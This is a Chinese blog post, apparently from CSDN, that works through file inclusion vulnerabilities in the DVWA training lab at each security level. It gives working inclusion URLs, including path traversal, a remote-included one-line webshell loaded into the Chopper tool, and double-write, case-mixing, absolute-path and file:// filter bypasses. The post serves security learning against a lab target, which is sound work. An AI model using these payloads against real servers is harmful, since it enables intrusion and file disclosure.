学习渗透日记5 文件包含漏洞

文章详细介绍了DVWA靶场中的文件包含漏洞,从低级别到顶级,展示了如何利用allow_url_include选项进行远程和本地文件包含,以及各种绕过方法,如双写、大小写和绝对路径绕过。同时,文章提到了信息泄露、文件执行和白名单、黑名单过滤策略的安全问题。
摘要由CSDN通过智能技术生成

还是以DVWA靶场为例

文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。
分为本地文件包含和远程文件包含,远程文件包含必须开启PHP服务器的allow_url_include开关使服务器可以进行远程文件包含。

1.低级别:

首先打开页面源代码

这就是一个简简单单的文件上传界面,并未做任何的过滤。

然后看看文件包含界面的三个文件:

 

1,2,3的php文件是为了让用户点击服务器包含文件,服务器包含的这几个文件无论是什么后缀名都会以php文件呈现

此时输入url:

而一般情况下Linux的用户和密码信息都会在/etc/password,/etc/shadow下保存。shadow相对高级,所以用超级用户才能打开。

 由上图看很明显报错,表明系统的服务器不是Linux系统。但是又发现一个有意思的事,报错信息中出现了一个路径C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\fi\index.php

这不就相当于暴露出来了一些信息

继续深入查看php.ini

http://192.168.111.139/dvwa/php.ini

换一种方式访问:

http://192.168.111.139/dvwa/vulnerabilities/fi/?page=C:\phpstudy\PHPTutorial\WWW\dvwa\php.ini

将这个C:\phpstudy\PHPTutorial\WWW\dvwa\php.ini接到page后面,会发现以下信息:

 也打开了原文件,信息泄露。再试试访问phpinfo,果不其然,

http://192.168.111.139/dvwa/phpinfo.php

再次换法访问http://192.168.111.139/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

 

../../相当于回退了两个目录

接着把page后的参数修改一下,切换到百度;

http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

也可以跳转。

然后写一个一句话木马文件,放到刚才的网站根目录下:

 尝试访问一哈http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://192.168.111.139/1.txt

 

 发现txt文件被当作了php文件执行,配置菜刀:

连接菜刀,

连接成功,将我的电脑里的东西全部暴露出来了。

 2.中级别:

先看源码

 http://,https://,../ ,\..这四个被str_replace()函数替换成空字符,因此这些东西都无法直接使用了

所以此时应该选择合适的绕过方法:

双写绕过:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.111.139/dvwa/php.ini

果不其然也可以打开

 大小写绕过:http://可以换成大小写混合版

http://192.168.111.139/dvwa/vulnerabilities/fi/?page=hTtp://192.168.111.139/dvwa/php.ini 

绝对路径绕过,比如在C盘下直接创建一个php文件

 

 然后在page后直接访问:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=C:\test.php

 

也可,所以中级别的包含绕过有三种方法:大小写,双写,绝对路径。

中级别类似于黑名单模式过滤。

3.高级别:

就先随便访问一个路径:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://192.168.111.139/dvwa/php.php

虽然明知报错,但只显示了一个界面,连文件路径的报错信息都没了

继续先看源代码:

主要就是这个if条件中的东西。file*有点类似于通配符,fnmatch()感觉起来像匹配 。

大致理解为传入的$file是否匹配file*,成功则true。所以在接下来的文件包含就要以file://....的形式构造URL了。也就是大佬们的说法file协议绕过。

比如访问刚才的test.php:

http://192.168.111.139/dvwa/vulnerabilities/fi/?page=file://C:\test.php

刚才的一句话木马:

http://192.168.111.139/dvwa/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\1.php

4.顶级:

先看源码:

这里的代码只包含了include,1,2,3这四个php文件,即所谓的白名单模式。未在白名单上的文件就无法包含。所以白名单模式比较安全,有效防止了文件包含漏洞。顶级和高级都属于白名单模式,不过顶级的过滤条件更加苛刻。

 Linux的话其实很像,不过是打开的文件在/var/www/html/下,其余的大同小异。

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值